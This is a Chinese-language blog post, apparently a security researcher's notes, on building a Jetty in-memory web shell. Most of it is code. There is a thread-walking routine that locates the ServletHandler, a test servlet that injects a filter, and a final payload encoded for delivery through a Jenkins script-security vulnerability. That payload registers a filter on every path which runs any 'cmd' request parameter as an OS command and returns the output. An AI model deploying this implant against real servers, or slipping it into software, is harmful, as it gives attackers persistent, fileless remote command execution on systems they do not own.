因为需要学习了一下 Jetty
内存马的一些知识点,但是其实很简单所以就简单记录一下吧,首先网上的一些 jetty
内存马都是从 threadLocals
中获取 WebAppClassLoader
的,但是如果是内嵌的 Jetty
,比如直接使用 Maven 引入 jetty
的话是没有的。
使用 java-object-searcher 工具找到一处很长的点,这里不用这个工具的 DFS
和 BFS
直接用最简单的 JavaObjectSearcher
。
然后因为最终管理 filter
的地方在 ServletHandler
这个类,所以直接找就行:
1 2 3 4 5 6 7 8 9
| List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("Request").build());
List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
JavaObjectSearcher searcher = new JavaObjectSearcher(Thread.currentThread(),new String[]{"ServletHandler"},"/tmp/search_out"); searcher.searchObject();
|
会找到一个超长的,但是它里面有一些数字,就是数组里会变化的,这里我就用了一些不太聪明的方法,写了一个函数做递归查找,最终的注入代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| package org.example;
import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import org.eclipse.jetty.servlet.FilterHolder; import org.eclipse.jetty.servlet.ServletHandler;
import javax.management.ObjectName; import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.management.ManagementFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.ArrayList; import java.util.EnumSet; import java.util.Set;
public class InjectTestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { class a { public Object this_o; public ArrayList<String> chain = new ArrayList<String>();
public void search(Object search_o, int start_index) {
for (int i = start_index; i < chain.toArray().length; i++) { String fieldName = chain.get(i); try { if (fieldName.startsWith("I[")) { fieldName = fieldName.substring(2); if (fieldName.contains("-")) { Object[] objects = (Object[]) search_o; for (int i2 = 0; i2 < objects.length; i2++) { search(objects[i2], i + 1); } } else { Integer index = Integer.parseInt(fieldName); Object[] objects = (Object[]) search_o; search(objects[index], i + 1); }
} else { Field f = search_o.getClass().getDeclaredField(fieldName); f.setAccessible(true); Object servletHandler = f.get(search_o); if (servletHandler.getClass() == ServletHandler.class) { this_o = servletHandler; return; } search(servletHandler, i + 1); } } catch (Exception e) {
} } }
public a pushChain(String s) { chain.add(s); return this; } }
Method getTh_m = Thread.class.getDeclaredMethod("getThreads"); getTh_m.setAccessible(true); a xx = new a();
xx.pushChain("I[0") .pushChain("target") .pushChain("this$0") .pushChain("workQueue") .pushChain("queue") .pushChain("I[0") .pushChain("callable") .pushChain("task") .pushChain("arg$1") .pushChain("_selector") .pushChain("_selectorManager") .pushChain("this$0") .pushChain("_server") .pushChain("_threadPool") .pushChain("_threads") .pushChain("map") .pushChain("table") .pushChain("I[-") .pushChain("key") .pushChain("group") .pushChain("threads") .pushChain("I[-") .pushChain("threadLocals") .pushChain("table") .pushChain("I[-") .pushChain("value") .pushChain("this$0") .pushChain("_servletHandler");
xx.search(getTh_m.invoke(null), 0);
ServletHandler sss = (ServletHandler) xx.this_o;
FilterHolder filterHolder = new FilterHolder(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("filter inejcted"); } @Override public void destroy() {
} });
sss.addFilterWithMapping(filterHolder, "/*", EnumSet.of(DispatcherType.REQUEST));
System.out.println(123456); } catch ( Exception e) { e.printStackTrace(); } } }
|
如下是 Pom.xml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <jetty.version>9.4.23.v20191118</jetty.version> </properties> <dependencies> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-server</artifactId> <version>${jetty.version}</version> </dependency>
<dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-webapp</artifactId> <version>${jetty.version}</version> </dependency>
<dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-servlet</artifactId> <version>${jetty.version}</version> </dependency> </dependencies>
|
然后由于我不会在 Jetty
中直接打自己的代码,我就用了调了一下 Jenkins 的漏洞:
下载一个 Jenkins 2.137,然后如果没网络装插件就直接跳过,然后下载一个 script-security 1.5.0 版本的插件,这个是我瞎找的一个低版本的。
插件传到 Jenkins
安装完后把 hpi
后缀改成 jar
,把里面的lib
复制出来放在 idea
就可以直接 debug
进去了。
此时就可以直接从threadLocals
中获取 WebAppClassLoader
,这里有一点需要注意的是注入 Filter
时需要 FilterHolder
类,在上面的代码中是直接 new
的,但是在此处不行,可以使用反射的方式:从另外一个 Filter
中获取 FilterHolder
这个类的控制器,然后实例化就行了,这里在 if while 后面这些地方都加了 %0a,就能直接打Jenkins了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| import java.lang.reflect.Field;
import org.kohsuke.stapler.ResponseImpl; import org.kohsuke.stapler.RequestImpl;
public class a {
public ResponseImpl response; public RequestImpl request;
public Object getObjectByFieldname(String fieldname, Object o) { Class cls = o.getClass(); Object ret_o = null; while (cls != Object.class) { try { Field tmp_field = cls.getDeclaredField(fieldname); tmp_field.setAccessible(true); ret_o = tmp_field.get(o); break; } catch (Exception e) { cls = cls.getSuperclass(); } }%0a return ret_o; } %0a
public void find_Request_and_Response() { Object thread_o = Thread.currentThread(); Field threadLocals_f = thread_o.getClass().getDeclaredField("threadLocals"); threadLocals_f.setAccessible(true); Object threadLocalMap = threadLocals_f.get(thread_o); Field table_f = threadLocalMap.getClass().getDeclaredField("table"); table_f.setAccessible(true); Object[] entries = (Object[]) table_f.get(threadLocalMap); for (Object entry : entries) { try { Field value_f = entry.getClass().getDeclaredField("value"); value_f.setAccessible(true); Object tmp = value_f.get(entry); if (tmp.getClass() == ResponseImpl.class) { response = (ResponseImpl) tmp;
} else if (tmp.getClass() == RequestImpl.class) { request = (RequestImpl) tmp; } } catch (Exception e) { } } } %0a
public a() { find_Request_and_Response(); Field request_f = javax.servlet.ServletRequestWrapper.class.getDeclaredField("request"); request_f.setAccessible(true); Object request_o = request_f.get(request); Object scope_o = getObjectByFieldname("_scope", request_o);%0a Object _servletHandler_o = getObjectByFieldname("_servletHandler", scope_o);
Field _filters_f = _servletHandler_o.getClass().getDeclaredField("_filters"); _filters_f.setAccessible(true); Object[] filters = (Object[]) _filters_f.get(_servletHandler_o); Class filterHolderClas = filters[0].getClass(); java.lang.reflect.Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class); Object filterHolder = filterHolderCons.newInstance(new javax.servlet.Filter() { @Override public void init(javax.servlet.FilterConfig filterConfig) throws javax.servlet.ServletException {
}%0a
@Override
public void doFilter(javax.servlet.ServletRequest servletRequest, javax.servlet.ServletResponse servletResponse, javax.servlet.FilterChain filterChain) throws IOException, javax.servlet.ServletException { String cmd = servletRequest.getParameter("cmd");
if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); String line; StringBuilder stringBuilder = new StringBuilder();
while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line); }%0a servletResponse.getWriter().write(stringBuilder.toString()); servletResponse.getWriter().close(); }%0a filterChain.doFilter(servletRequest, servletResponse);
} %0a @Override
public void destroy() {
} });
Class[] clss = new Class[3]; clss[0] = filterHolderClas; clss[1] = java.lang.String.class; clss[2] = EnumSet.class;
java.lang.reflect.Method m = _servletHandler_o.getClass().getDeclaredMethod("addFilterWithMapping", clss);
Object[] objs = new Object[3]; objs[0] = filterHolder; objs[1] = "/*"; objs[2] = java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST);
m.invoke(_servletHandler_o, objs);
System.out.print(123); } %0a
}
|
参考
Jenkins CVE-2018-1000861 内存马注入
高版本jdk下jetty servlet型内存马编写